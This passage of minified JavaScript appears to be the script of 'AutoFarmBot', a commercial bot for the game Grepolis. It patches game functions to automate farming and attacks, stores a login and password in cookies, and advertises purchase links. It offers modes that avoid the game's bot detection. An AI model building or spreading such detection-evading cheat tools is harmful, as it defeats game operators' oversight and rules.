class="msdescription">'+mslang[174]+"</div>"));$('label[for="param_aaa_1"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[175]+"</div>"));$('label[for="param_log_0"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[176]+"</div>"));$('label[for="param_log_1"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[177]+"</div>"));$('label[for="param_log_2"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[178]+"</div>"));$('label[for="param_ass_0"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[179]+"</div>"));$('label[for="param_ass_1"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[180]+"</div>"));$('label[for="param_ass_2"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[181]+"</div>"));$('label[for="param_ass_3"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[182]+"</div>"));$('label[for="param_ass_4"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[183]+"</div>"));$('label[for="param_ass_5"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[184]+"</div>"));$('label[for="param_ass_10"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[185]+"</div>"));$('label[for="param_ass_11"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[186]+"</div>"));$("#param_ass_12").mousePopup(new MousePopup('<div class="msdescription">'+mslang[192]+"</div>"));$('label[for="param_ass_13"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[187]+"</div>"));$('label[for="param_ass_14"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[188]+"</div>"));$('label[for="param_ass_6"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[189]+"</div>"));$('label[for="param_ass_7"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[190]+"</div>"));$('label[for="param_ass_8"]').mousePopup(new MousePopup('<div class="msdescription">'+mslang[191]+"</div>"));$('label[for="param_bot_15"]').mousePopup(new MousePopup('<div class="msdescription">Наиболее полная защита от обнаружения АФБ. Меньшая эффективность фарма в угоду безопасности (в этом режиме некоторые функции АФБ будут недоступны)</div>'));$('label[for="param_bot_16"]').mousePopup(new MousePopup('<div class="msdescription">Еще большая защита от обнаружения</div>'));},save_settings:function(){switch(this.param_time){case 0:default:this.param_bot_2=330000;break;case 1:this.param_bot_2=620000;break;case 2:this.param_bot_2=1220000;break;case 3:this.param_bot_2=2420000;break}this.param_bot_3=(this.param_speed==1)?100:2000;this.param_bot_4=$("#param_bot_4").val();for(var i=5;i<17;i++){if(i==12||i==13){continue}this["param_bot_"+i]=$("#param_bot_"+i+":checked").length}for(var i=0;i<2;i++){this["param_aaa_"+i]=$("#param_aaa_"+i+":checked").length}for(var i=0;i<6;i++){this["param_log_"+i]=$("#param_log_"+i+":checked").length}for(var i=0;i<15;i++){if(i==9){continue}if(i==12){this.param_ass_12=$("#param_ass_12").val();continue}this["param_ass_"+i]=$("#param_ass_"+i+":checked").length}if($("#param_bot_7").is(":disabled")){this.param_bot_7=0}if($("#param_bot_10").is(":disabled")){this.param_bot_10=0}if($("#param_bot_11").is(":disabled")){this.param_bot_11=0};this.save_cookie();$(".wfarmsettings").remove();location.reload()},save_cookie:function(){var msc_d=new Date();var msnd=msc_d.getDate()+7;msc_d.setDate(msnd);msnd=msc_d.toGMTString();switch(this.param_bot_2){case 330000:default:var param_2=0;break;case 620000:var param_2=1;break;case 1220000:var param_2=2;break;case 2420000:var param_2=3;break}var param_3=(this.param_bot_3==2000)?0:1;this.setCookie("meatbot",$("#farmid").val()+"|"+$("#farmpass").val()+"|"+param_2+"|"+param_3+"|"+this.param_bot_4+"|"+this.param_bot_5+"|"+this.param_bot_6+"|"+this.param_bot_7+"|"+this.param_bot_8+"|"+this.param_bot_9+"|"+this.param_bot_10+"|"+this.param_bot_11+"|"+this.param_bot_12+"|"+this.param_bot_13+"|"+this.param_bot_14+"|"+this.param_bot_15+"|"+this.param_bot_16,msnd);this.setCookie("meatwon",this.param_won_0+"|"+this.param_won_1,msnd);this.setCookie("meataaa",this.param_aaa_0+"|"+this.param_aaa_1,msnd);this.setCookie("meatlog",this.param_log_0+"|"+this.param_log_1+"|"+this.param_log_2+"|"+this.param_log_3,msnd);this.setCookie("meatass",this.param_ass_0+"|"+this.param_ass_1+"|"+this.param_ass_2+"|"+this.param_ass_3+"|"+this.param_ass_4+"|"+this.param_ass_5+"|"+this.param_ass_6+"|"+this.param_ass_7+"|"+this.param_ass_8+"|"+this.param_ass_9+"|"+this.param_ass_10+"|"+this.param_ass_11+"|"+this.param_ass_12+"|"+this.param_ass_13+"|"+this.param_ass_14,msnd)},news:{part_1:function(){meatscripts.add_to_panel('<div class="msnews1"><a class="msnews2" style="display:block;opacity:1;"></a></div>',"pos1");$(".msnews2").click(function(){meatscripts.news.part_3()});this.part_2()},part_2:function(){if(meatscripts.param_bot_13!='22'){$(".msnews2").click();return;$(".msnews2").css({opacity:(($(".msnews2").css("opacity")==1)?0:1)});setTimeout("meatscripts.news.part_2();",500)}},part_3:function(){if($(".wfarmnews").length!=0&&$(".wfarmnews").css("display")!="none"){return}meatscripts.param_bot_13='22';meatscripts.save_cookie();$(".msnews2").css({opacity:1});$(meatscripts.window('<style>.wfarmnews .gpwindow_content { z-index:10;margin:-9px; } .wfarmnews .gpwindow_content p { text-align:justify;text-indent:20px;margin:10px 9px; } .wfarmnews .gpwindow_content img { border:1px solid #000; } .wfarmnews .gpwindow_content b.bot { color:#00c; } .wfarmnews .gpwindow_content b.bot2 { color:#090; } .wfarmnews .gpwindow_content b.bot3 { color:#c00; }</style><div style="width:850px;"><p style="text-align:center;text-indent:0px;"><span style="color:#FFECC1">...................</span><img src="http://autofarmbot.ru/wp-content/themes/autofarmbot/images/logotype.png" style="border:0px;"/></p><p style="text-align:center;text-indent:0px;"><b>Встречаем новую версию <b class="bot">АвтоФармБота</b> <b class="bot3">6.5</b> + <b class="bot">АвтоАтакер</b> + <b class="bot">АвтоЧудо</b>.</p><p style="text-align:right;"><b>Страница установки <b class="bot">АФБ</b> (там же видео его работы):</b> <a href="http://autofarmbot.ru/install" target="_blank">http://autofarmbot.ru/install</a><br/><b>Про АвтоАтакер:</b> <a href="http://autofarmbot.ru/aa" target="_blank">http://autofarmbot.ru/aa</a><br/><b>Про АвтоФарм:</b> <a href="http://autofarmbot.ru/about" target="_blank">http://autofarmbot.ru/about</a></p><p style="text-align:center;text-indent:0px;"><img src="http://img815.imageshack.us/img815/9338/nastr3.jpg"/></p><p>Новая версия помимо <b class="bot">АвтоФарма</b> содержит не имеющий аналогов <b class="bot">АвтоАтакер</b>, предназначенный для офферов и активно воюющих игроков. Он не только <u>сам</u> высылает атаки по запланированному вами списку атак, но и способен избавить от 20-секундного рандома в атаках.</p><p style="text-align:center;text-indent:0px;"><img src="http://img851.imageshack.us/img851/9895/nastr4.jpg"/></p><p style="text-align:right;"><b>Приобретение:</b> <a href="http://autofarmbot.ru/purchase" target="_blank">http://autofarmbot.ru/purchase</a></p><p style="text-align:center;text-indent:0px;">Другие возможности <b class="bot">АФБ</b>: Звуковой сигнал при атаке, АвтоКультур, АвтоОполчение, АвтоСеребро, Логовница, КартОбзор, Измеритель расстояний, q.url, Уровни Зданий, БыстроБафы и пр...</p><p style="text-align:right;"><i>По всем вопросам только в <b>Skype:</b> <b class="bot2">AutoFarmBot</b><i></p><div>')).dialog({title:mslang[39]+" | "+mslang[102],resizable:false,dialogClass:"wfarmnews",width:850,height:550});$(".wfarmnews a.ui-dialog-titlebar-close").click(function(){$(".wfarmnews .gpwindow_frame, .wfarmnews").remove()});$(".newsmaster").parent().scrollTop(0)},},hm:{init:function(){$("#units_sidebar").append('<div class="sidebar_unit_wrapper" style="display: block;"><div class="clearfix" id="log_container" style="display: block;"><div><div class="ms_hm_n">'+mslang[1]+'</div></div><div><div class="ms_hm_n">'+mslang[151]+'</div></div><div><div class="ms_hm_n">'+mslang[101]+'</div></div><div id="full_log">[ <a onClick="meatscripts.hm.full_log();">'+mslang[78]+'</a> ]</div></div><a class="toggle_units log_c mstoggled" href="#"></a></div>');$(".log_c").click(function(){$("#log_container").css({display:($("#log_container").css("display")=="none")?"block":"none"});$(".log_c").attr({"class":($(".log_c").attr("class")=="toggle_units log_c")?"toggle_units log_c mstoggled":"toggle_units msduration"})})},add:function(text,error,type){type=type||0;switch(type){case 0:default:var fulltype="afb";break;case 1:var fulltype="aw";break;case 2:var fulltype="aa";break}if(meatscripts.param_bot_9==0){return}if($("#log_container > div:eq("+type+") .ms_hm").length>2){$("#log_container > div:eq("+type+") .ms_hm:eq(0)").remove()}if($("#hidden_"+fulltype+"_log .ms_hm").length>150){$("#hidden_"+fulltype+"_log .ms_hm:eq(0)").remove()}if($("#"+fulltype+"_log").length!=0&&$("#"+fulltype+"_log .ms_hm").length>150){$("#"+fulltype+"_log .ms_hm:eq(0)").remove()}var msc_d=new Date(Timestamp.server()*1000),hours=(msc_d.getHours()>9)?msc_d.getHours():"0"+msc_d.getHours(),minutes=(msc_d.getMinutes()>9)?msc_d.getMinutes():"0"+msc_d.getMinutes(),seconds=(msc_d.getSeconds()>9)?msc_d.getSeconds():"0"+msc_d.getSeconds();var hash=parseInt(Math.random()*100000);meatscripts.add_to_hm('<div id="ms_human_message'+hash+'" class="ms_hm '+(error||"success")+'">'+text+'<div class="ms_hm_time">'+hours+":"+minutes+":"+seconds+"</div></div>",type);meatscripts.add_to_full_hm('<div id="ms_human_full_message'+hash+'" class="ms_hm '+(error||"success")+'">'+text+'<div class="ms_hm_time">'+hours+":"+minutes+":"+seconds+"</div></div>",fulltype);meatscripts.add_to_wnd_hm('<div id="ms_human_full_message'+hash+'" class="ms_hm '+(error||"success")+'">'+text+'<div class="ms_hm_time">'+hours+":"+minutes+":"+seconds+"</div></div>",fulltype);if($("#"+fulltype+"_log").length!=0){$("#"+fulltype+"_log")[0].scrollTop=10000}},full_log:function(){if($(".wfarmloging").length!=0&&$(".wfarmloging").css("display")!="none"){return}var afb=$("#hidden_afb_log").html(),aw=$("#hidden_aw_log").html(),aa=$("#hidden_aa_log").html();$(meatscripts.window('<div class="game_border" style="height:480px;"><div class="game_border_top"></div><div class="game_border_bottom"></div><div class="game_border_left"></div><div class="game_border_right"></div><div class="game_border_corner corner1"></div><div class="game_border_corner corner2"></div><div class="game_border_corner corner3"></div><div class="game_border_corner corner4"></div><div class="game_header afblog_header"><a onclick="meatscripts.hm.clear(0);" class="msa2"></a>'+mslang[1]+'</div><div class="game_header aalog_header"><a onclick="meatscripts.hm.clear(2);" class="msa2"></a>'+mslang[101]+'</div><div id="afb_log" style="clear:right;">'+afb+'</div><div id="aa_log">'+aa+'</div><div class="game_header awlog_header" style="clear:both;"><a onclick="meatscripts.hm.clear(1);" class="msa2"></a>'+mslang[151]+'</div><div id="aw_log">'+aw+"</div></div>")).dialog({title:mslang[78]+" | "+mslang[102],resizable:false,dialogClass:"wfarmloging",width:850,height:550});$(".wfarmloging a.ui-dialog-titlebar-close").click(function(){$(".wfarmloging .gpwindow_frame, .wfarmloging").remove()})},clear:function(type){switch(type){case 0:default:var fulltype="afb";break;case 1:var fulltype="aw";break;case 2:var fulltype="aa";break}$("#log_container > div:eq("+type+") .ms_hm").remove();$("#hidden_"+fulltype+"_log").empty();if($("#"+fulltype+"_log").length!=0){$("#"+fulltype+"_log ").empty()}},},save_wonders:function(coords){coords=coords.split(".");this.param_won_0=coords[0];this.param_won_1=coords[1];this.save_cookie()},save_wonders_2:function(){this.param_bot_14=($(".param_bot_14").is(":checked"))?1:0;this.save_cookie()},timer_wonders:function(value){switch(value){case"0":clearInterval(this.wonder_timer);return;break;case"1":var interval=30*60*1000;break;case"2":var interval=60*60*1000;break;case"3":var interval=120*60*1000;break}this.wonder_timer=setInterval(function(){$(".param_bot_14").attr({checked:"checked"});meatscripts.param_bot_14=($(".param_bot_14").is(":checked"))?1:0;meatscripts.save_cookie()},interval)},open_wonders:function(m){if(m.getJQElement().find("#window_ajax_loader").length!=0){if(m.getJQCloseButton().length!=0){setTimeout(function(){meatscripts.open_wonders(m)},500)}}else{setTimeout(function(){m.requestContentGet("alliance","world_wonders",{})},500)}},init_replacement:function(){WMap.mapJump=function(obj,windowsStayOpen,callback){var mapCoords={},pos,tileSize=this.mapTiles.tileSize,onJumpFinish=function onJumpFinish(){if(typeof mapCoords.x!=="number"||typeof mapCoords.y!=="number"){mapCoords=MapTiles.pixel2Map(pos.x,pos.y)}$(document).trigger(GPEvents.global.map.mapjump);if(typeof callback==="function"){callback()}};if(!obj){mapCoords.x=parseInt(WMap.elm.xcoord.val(),10);mapCoords.y=parseInt(WMap.elm.ycoord.val(),10);pos=WMap.mapTiles.map2Pixel(mapCoords.x,mapCoords.y)}else{if(obj.x!==undefined&&obj.y!==undefined){mapCoords.x=obj.x;mapCoords.y=obj.y;pos=WMap.mapTiles.map2Pixel(obj.x,obj.y)}}if(pos){pos.x-=tileSize.x>>1;pos.y-=tileSize.y>>1}if(obj){if(obj.ix!==undefined&&obj.iy!==undefined){mapCoords.x=obj.ix;mapCoords.y=obj.iy}this.mapData.checkReload(mapCoords.x,mapCoords.y,MapTiles.tileCount.x,MapTiles.tileCount.y,function(){var town,pixels;if(obj.id&&obj.tp!=="island"){town=WMap.mapData.findTownInChunks(obj.id)}else{town={x:obj.ix,y:obj.iy,islandType:WMap.mapData.findIslandTypeInChunks(obj.ix,obj.iy)}}pixels=WMap.mapTiles.correctCoordsForIsland(town);WMap.centerMapOnPos(pixels.x,pixels.y,true,onJumpFinish);if(autofarmbot.script.msindicator!=null){delete autofarmbot.script.msindicator;if(meatscripts.param_bot_15 == 1) { autofarmbot.script.wait(function(){autofarmbot.script.FarmTown0()},500,2000)}else{autofarmbot.script.autoculture('party')}}})}else{WMap.centerMapOnPos(pos.x,pos.y,false,onJumpFinish)}};WMap.hideLoadIcon=function(farm_town_id){$("#farm_town_"+farm_town_id+" span.res_available").remove();WMap.refresh()};WndHandlerAlliance.prototype.onRcvData=function(d,a,c){if(c!=="world_wonders"){this.wnd.setContent(d.html)}var f=this.wnd.getJQElement().find("div.bb_button_wrapper"),b=this;switch(c){case"index":this.bbcode=new BBCode(this.wnd,f,"#ally_announce_textarea");break;case"properties":this.bbcode=new BBCode(this.wnd,f,"#ally_profile_textarea");break;case"invitations":$("#generate_new_link").click(function(){b.createNewOnRegisterInvitation()});break;case"world_wonders":var e=d.data.world_wonders;this.wnd.setContent(tmpl(d.html,{wonders:d.data.world_wonders,buildable_wonders:d.data.buildable_wonders}));$('<td class="app-wonders" style="padding:0px;"><input type="radio" name="choose-wonder" class="choose-wonder" onChange="meatscripts.save_wonders($(this).val());"></td>').insertAfter(".alliance_world_wonder_wrapper .present_data.ww_list .ww_image");$('<th style="padding:0px;"></th>').insertAfter(".alliance_world_wonder_wrapper .present_data.ww_list th:eq(0)");$('.alliance_world_wonder_wrapper .present_data.ww_list th[style="min-width:400px;"]').css({"min-width":"380px"});for(i in e){if(typeof e[i]=="object"){$(".choose-wonder:eq("+i+")").val(e[i].island_x+"."+e[i].island_y)}}if(meatscripts.param_won_0!=0&&meatscripts.param_won_1!=0){$('.choose-wonder[value="'+meatscripts.param_won_0+"."+meatscripts.param_won_1+'"]').attr({checked:"checked"})}break}if(this.updateMap){this.updateMap=false;WMap.pollForMapChunksUpdate()}GoogleAnalytics.trackPageview("/alliance/"+c)};WndHandlerWonders.prototype.onRcvData=function(c,a,b){if(c.html){this.wnd.setContent2(c.html)}$(".wondersubmit").remove();$(".wonder_progress_bar").append('<a class="msbutton wondersubmit" href="http://autofarmbot.ru/aw" target="_blank"><span class="msbutton1"><span class="msbutton2">Купить АвтоЧудо</span></span></a>');this.unregisterEventListeners();this.registerEventListeners();if((b=="index"||b=="start_next_building_phase"||b=="decrease_build_time_with_favor")&&c.data.created_at){WorldWonders.initiaiteSendResourcesTab(this,c.data,{x:this.island_x,y:this.island_y})}};MapTiles.createTownDiv=function(town){town.id+="";town.id=town.id.replace("=","");var result=[];var islandOffset=this.map2Pixel(town.x,town.y);var town_type=WMap.getTownType(town);var ghost_town=town.player_name==="";var id=town_type+"_"+town.id;if(document.getElementById(id)){return false}var offsetX=this.cssOffset.x+islandOffset.x;var offsetY=this.cssOffset.y+islandOffset.y;var tOffset=this.tOffset[town.dir]||this.ftOffset;var tl=offsetX+town.ox,tt=offsetY+town.oy;if(tOffset){tl+=tOffset.x;tt+=tOffset.y}var link=this.d.createElement("a");link.className="tile";link.href="#"+btoa('{"id":"'+town.id+'","ix":'+town.x+',"iy":'+town.y+',"tp":"'+town_type+'"'+(town_type==="free"?(town.invitation_spot?',"inv_spo":true':"")+',"nr":'+town.nr:"")+(town.distance!==undefined&&town.distance!==null?',"distance":'+town.distance:"")+(town.player_town_id!==undefined&&town.player_town_id!==null?',"player_town_id":'+town.player_town_id:"")+(town.nr!==undefined&&town.nr!==null?',"number_on_island":'+town.nr:"")+"}");if(town_type==="farm_town"){var wrapper=this.d.createElement("div");wrapper.className="tile"+(town.relation_status==1?" farmtown_owned":"");wrapper.className+=" g"+town.x+"-"+town.y;wrapper.appendChild(link);wrapper.style.left=tl+"px";wrapper.style.top=tt+"px";wrapper.id=id}else{link.style.left=tl+"px";link.style.top=tt+"px";link.id=id}result.push(wrapper||link);var left=offsetX+~~(town.ox)+~~(town.fx),top=offsetY+~~(town.oy)+~~(town.fy),flag,flagpole,ftr=town.relation_status,color=(town.fc||this.ftColors[ftr]);if(town.invitation_spot||town_type==="town"||town_type==="farm_town"){flagpole=this.d.createElement("div");flagpole.className="flagpole "+town_type+" "+(ghost_town?"ghost_town":"");if(town_type==="farm_town"){left+=24;top+=18}}if(flagpole){flag=this.d.createElement("div");flag.id=town_type+"_flag_"+town.id;flag.className="flag "+(town.css_class||!isNaN(ftr)?town_type+" ftr_"+ftr:town_type);if(color&&town_type!=="free"){flag.style.backgroundColor="#"+color}else{if(town_type==="farm_town"){flag.style.backgroundColor="#"+this.ftColors[0]}}flag.style.left=left+"px";flag.style.top=top+"px";if(town.flag_type){flag.style.backgroundImage="url(http://cdn.grepolis.com/images/game/flags/map/flag"+town.flag_type+".png)"}flag.appendChild(flagpole);result.push(flag)}if(town.invitation_spot||town_type==="town"||town_type==="inv_spo"){link.className+=" "+town.dir+" lvl"+((town.invitation_spot||town_type==="inv_spo")?"0":town.size);if(Game.townId==town.id){this.highlightTown({x:tl,y:tt})}if(town.id==this.focussed_town_id){this.focusTown(town.id)}}else{if(town_type==="free"){link.className+=" found"}else{if(wrapper){wrapper.className+=" ft"+((town.id+town.ox*23+town.oy*211)%5+1);if(town.loot&&parseInt(town.loot,10)<=Timestamp.now()){wrapper.innerHTML+=('<span class="res_available"></span>')}}}}if(town_type==="town"){var names1=this.d.createElement("div"),names2=this.d.createElement("div"),names3=this.d.createElement("div");names1.className="names n1 nn_"+town.id;names2.className="names n2 nn_"+town.id;names3.className="names n3 nn_"+town.id;var llln1=offsetX+~~(town.ox)+~~(town.fx)+15,tttn1=offsetY+~~(town.oy)+~~(town.fy),llln2=offsetX+~~(town.ox)+~~(town.fx)-5,tttn2=offsetY+~~(town.oy)+~~(town.fy),llln3=offsetX+~~(town.ox)+~~(town.fx)+5-150,tttn3=offsetY+~~(town.oy)+~~(town.fy)-15;names1.style.left=llln1+"px";names1.style.top=tttn1+"px";names2.style.left=llln2+"px";names2.style.top=tttn2+"px";names3.style.left=llln3+"px";names3.style.top=tttn3+"px";names1.style.display=(meatscripts.param_ass_9==1)?"block":"none";names2.style.display=(meatscripts.param_ass_9==1)?"block":"none";names3.style.display=(meatscripts.param_ass_9==1)?"block":"none";names1.innerHTML='<div class="inner1">'+(town.player_name||"")+'</div><div class="inner2">'+(town.player_name||"")+"</div>";names2.innerHTML='<div class="inner1">'+town.name+'</div><div class="inner2">'+town.name+"</div>";names3.innerHTML='<div class="inner1">'+(town.alliance_name||"")+'</div><div class="inner2">'+(town.alliance_name||"")+"</div>";if(meatscripts.param_ass_7==1){result.push(names1)}if(meatscripts.param_ass_6==1){result.push(names2)}if(meatscripts.param_ass_8==1){result.push(names3)}}return result};if(meatscripts.param_ass_3==1){WndHandlerTown.prototype.onInit=function(title,UIopts,arg3){assistant.game_links.window[arg3.id]=arguments;this.wnd.requestContentGet("town_info",UIopts.action,arg3);return true}}WndHandlerTown.prototype.onRcvData=function(data,controller,action){var html;var elem=this.wnd.getElement();$(elem).css({overflow:"visible"});var windowmenu=JSON.parse(data.menu),msid=windowmenu["town_info-info"].obj.id||windowmenu["town_info-god"].obj.id;this.action=action;if(data&&data.json&&data.json.target_id){this.target_id=data.json.target_id}if(data.html&&meatscripts.param_ass_3==1){switch(action){case"info":var pattern=/\(([0-9]{3})\,([0-9]{3})\)/;var massiv=pattern.exec(data.html);data.html+='<div class="game_link" style="width:500px;"><div onClick="assistant.game_links.part_3(this);">q.url|towninfo|'+msid+"|jumpto|"+massiv[1]+"|"+massiv[2]+'</div><br/><div onClick="assistant.game_links.part_3(this);">q.url|towninfo|'+msid+"|"+action+"|"+assistant.game_links.window[msid][0]+"</div></div>";break;default:data.html+='<div class="game_link" style="width:500px;"><div onClick="assistant.game_links.part_3(this);">q.url|towninfo|'+msid+"|"+action+"|"+assistant.game_links.window[msid][0]+"</div></div>";break}}if(data.tmpl&&action!="god"&&meatscripts.param_ass_3==1){data.tmpl+='<div class="game_link" style="width:500px;"><div onClick="assistant.game_links.part_3(this);">q.url|towninfo|'+msid+"|"+action+"|"+assistant.game_links.window[msid][0]+"</div></div>"}this.unregisterEventListeners();switch(action){case"attack":data.tmpl+='<div class="attack_form"><div class="msileft autotypes"><div class="msiright"><select class="autotype msselect"><option value="0">'+mslang[103]+'</option><option value="1">'+mslang[104]+'</option></select></div></div><div class="msileft"><div class="msiright"><input type="text" name="nuhours" class="nuhours msinput" maxlength="2" /></div></div><span class="sep1">:</span><div class="msileft"><div class="msiright"><input type="text" name="numinutes" class="numinutes msinput" maxlength="2" /></div></div><span class="sep1">:</span><div class="msileft"><div class="msiright"><input type="text" name="nuseconds" class="nuseconds msinput" maxlength="2" /></div></div><span class="sep2">'+mslang[105]+'</span><div class="msileft autosecs"><div class="msiright"><select class="autosec msselect"><option value="0">'+mslang[106]+'</option><option value="11">10 '+mslang[107]+"</option>";if(meatscripts.param_aaa_0==1){data.tmpl+='<option value="10">9 '+mslang[107]+'</option><option value="9">8 '+mslang[107]+'</option><option value="8">7 '+mslang[107]+'</option><option value="7">6 '+mslang[107]+'</option><option value="6">5 '+mslang[107]+'</option><option value="5">4 '+mslang[107]+'</option><option value="4">3 '+mslang[107]+"</option>"}data.tmpl+="</select></div></div>";if(autoattack.enable==1){data.tmpl+='<a class="msbutton" id="autoattackbutton" onClick="autoattack.save(this, '+msid+');"><span class="msbutton1"><span class="msbutton2">'+mslang[109]+"</span></span></a>"}else{data.tmpl+='<a class="msbutton grey" id="autoattackbutton"><span class="msbutton1 grey"><span class="msbutton2 grey">'+mslang[109]+"</span></span></a>"}data.tmpl+="</div>";this.parent.parent.onRcvData.apply(this,arguments);this.registerEventListeners();break;case"espionage":if(data.html){html=data.html}this.wnd.setContent(html);this.target_id=data.target_id;this.espionage_class=new Espionage(this.target_id,this.wnd,data.stored_iron);this.registerEventListeners();break;case"support":this.parent.parent.onRcvData.apply(this,arguments);this.registerEventListeners();break;case"god":var tmpl=data.tmpl.split("|||"),powers=tmpl.shift(),descr=tmpl.pop();GameData.add({PowerDescriptionTemplate:descr});html=tmpl2(powers,data.json);if(meatscripts.param_ass_3==1){html+='<div class="game_link" style="width:500px;"><div onClick="assistant.game_links.part_3(this);">q.url|towninfo|'+msid+"|"+action+"|"+assistant.game_links.window[msid][0]+"</div></div>"}this.wnd.setContent(html);break;case"trading":this.wnd.setContent(data.html);var root=this.wnd.getJQElement(),that=this;var sdata=data.data,target_id=sdata.target_id,free_trade_capacity=sdata.available_capacity,max_capacity=sdata.max_capacity,extra=free_trade_capacity>0?max_capacity-free_trade_capacity:0,origin_resources=ITowns.getTown(Game.townId).getCurrentResources(),origin_wood=origin_resources.wood,origin_stone=origin_resources.stone,origin_iron=origin_resources.iron;this.target_id=target_id;TownTabs.spinners[target_id]={};TownTabs.progressbars[target_id]={};var pb_capacity=TownTabs.progressbars[target_id].capacity=root.find("#big_progressbar").singleProgressbar({extra:extra,max:max_capacity,caption:"Вместимость:"}).unbind("extra-updated").bind("extra-updated",function(e,new_val,old_val){free_trade_capacity-=new_val-old_val});if(sdata.resources){var storage_volume=sdata.storage_volume,wood=sdata.resources.wood,stone=sdata.resources.stone,iron=sdata.resources.iron,inc_res=sdata.incoming_resources;var pb_wood=TownTabs.progressbars[target_id].wood=root.find("#town_capacity_wood").progressbar({max:storage_volume,value:wood,value2:inc_res.wood,value3:0}),pb_stone=TownTabs.progressbars[target_id].stone=root.find("#town_capacity_stone").progressbar({max:storage_volume,value:stone,value2:inc_res.stone,value3:0}),pb_iron=TownTabs.progressbars[target_id].iron=root.find("#town_capacity_iron").progressbar({max:storage_volume,value:iron,value2:inc_res.iron,value3:0})}var sp_wood=TownTabs.spinners[target_id].wood=root.find("#trade_type_wood").spinner({value:0,step:500,max:origin_wood,tabindex:1}).bind("sp:change:value",function(e,new_val,old_val){pb_capacity.incr(new_val-old_val);if(pb_wood){pb_wood.setValue(null,null,new_val)}}),sp_stone=TownTabs.spinners[target_id].stone=root.find("#trade_type_stone").spinner({value:0,step:500,max:origin_stone,tabindex:2}).bind("sp:change:value",function(e,new_val,old_val){pb_capacity.incr(new_val-old_val);if(pb_stone){pb_stone.setValue(null,null,new_val)}}),sp_iron=TownTabs.spinners[target_id].iron=root.find("#trade_type_iron").spinner({value:0,step:500,max:origin_iron,tabindex:3}).bind("sp:change:value",function(e,new_val,old_val,arg){pb_capacity.incr(new_val-old_val);if(pb_iron){pb_iron.setValue(null,null,new_val)}});root.find("#trade_button").unbind("click").bind("click",function(){TownTabs.trade(target_id,that.wnd.typeinforefid)});root.find(".content").unbind("click").bind("click",function(e){var target=$(e.target);if(target.hasClass("icon")){var name=target.attr("name"),sp=TownTabs.spinners[target_id][name],sum_val_rest_sp=name=="wood"?(sp_stone.getValue()+sp_iron.getValue()):(name=="stone"?(sp_wood.getValue()+sp_iron.getValue()):(sp_wood.getValue()+sp_stone.getValue())),res_max=name=="wood"?origin_wood:(name=="stone"?origin_stone:origin_iron);value=res_max<free_trade_capacity?res_max:(free_trade_capacity>res_max?res_max:free_trade_capacity);if(value+sum_val_rest_sp>free_trade_capacity){value=free_trade_capacity-sum_val_rest_sp}if(sp){sp.setValue(sp.getValue()==value?0:value)}}});break;default:if(data.html){html=data.html}this.wnd.setContent(html);$("#town_bbcode_link").bind("click",function(){$("#town_bbcode_id").toggle().focus()});break}GoogleAnalytics.trackPageview("/foreign_city/"+action)};if(meatscripts.param_ass_3==1){WndHandlerIsland.prototype.onRcvData=function(data){var elem=this.wnd.getElement();$(elem).css({overflow:"visible"});data.json.island=this.island;if(data.tmpl){GameData.add({IslandInfoTemplate:data.tmpl})}var html=tmpl2(GameData.IslandInfoTemplate,data.json),commercial;html+='<div class="game_link" style="width:700px;"><div onClick="assistant.game_links.part_3(this);">q.url|islandinfo|'+data.json.island.id+"|"+data.json.island.res+"|"+data.json.island.ix+"|"+data.json.island.iy+"</div>";"</div>";this.wnd.setContent2(html);$("#island_bbcode_link").bind("click",function(){$("#island_bbcode_id").toggle().focus()});$("#link_to_alliance_profile").bind("click",function(e){var target=e.target;Layout.allianceProfile.open(target.getAttribute("title"),target.getAttribute("name"))});$("#farm_town_overview_btn").click(function(){farmTownOverview.openFarmTownOverviewWindow()}).mousePopup(new MousePopup("Обзор селений земледельцев"));$("#island_towns_sort").change(function(e){var value=$(this).val();if(value=="name"){$("#island_info_towns_left_sorted_by_score").hide();$("#island_info_towns_left_sorted_by_name").show()}else{if(value=="score"){$("#island_info_towns_left_sorted_by_name").hide();$("#island_info_towns_left_sorted_by_score").show()}}});this.wnd.getJQElement().find("div.captain_commercial").show().find("a.button").mousePopup(new MousePopup(PopupFactory.texts.captain_hint))};WndHandlerAllianceProfile.prototype.onInit=function(title,UIopts){assistant.game_links.windowalliance=[title,UIopts];this.wnd.requestContentGet("alliance","profile",{alliance_id:UIopts.alliance_id});return true};WndHandlerAllianceProfile.prototype.onRcvData=function(data){var elem=this.wnd.getElement();$(elem).css({overflow:"visible"});data.html+='<div class="game_link" style="width:790px;"><div onClick="assistant.game_links.part_3(this);">q.url|biginfo|'+assistant.game_links.windowalliance[1]["alliance_id"]+"|alliance|"+assistant.game_links.windowalliance[0]+"</div></div>";assistant.game_links.windowalliance=null;var that=this;this.wnd.setContent2(data.html);$("#ally_towns").click(function(e){var target=$(e.target);if(target.hasClass("header")||target.hasClass("sub_header")){target.next("li").toggle()}});if(!AlliancePact.showGoBackButton(data.alliance_id)){$("#previous_alliance_page").hide()}else{$("#previous_alliance_page").click(function(){var alliance=AlliancePact.getLastLocation();Layout.allianceProfile.open("'"+alliance.name+"'",alliance.id)})}};WndHandlerPlayerProfile.prototype.onInit=function(title,UIopts){var elem=this.wnd.getElement();$(elem).css({overflow:"visible"});assistant.game_links.windowplayer=[title,UIopts];var that=this;this.wnd.ajaxRequestGet("player","get_profile_html",{player_id:UIopts.player_id},function(wnd,data){data.html+='<div class="game_link" style="width:800px;"><div onClick="assistant.game_links.part_3(this);">q.url|biginfo|'+assistant.game_links.windowplayer[1]["player_id"]+"|player|"+assistant.game_links.windowplayer[0]+"</div></div>";assistant.game_links.windowplayer=null;that.wnd.setContent2(data.html);that.initAwards(data.awards)});return true}}WndHandlerBuilding.prototype.onRcvData=function(data,controller,action){var newBuilding=controller.replace(/building_/,"");if(newBuilding!==this.currentBuilding){this.setToTop();this.wnd.setTitle("Обзор 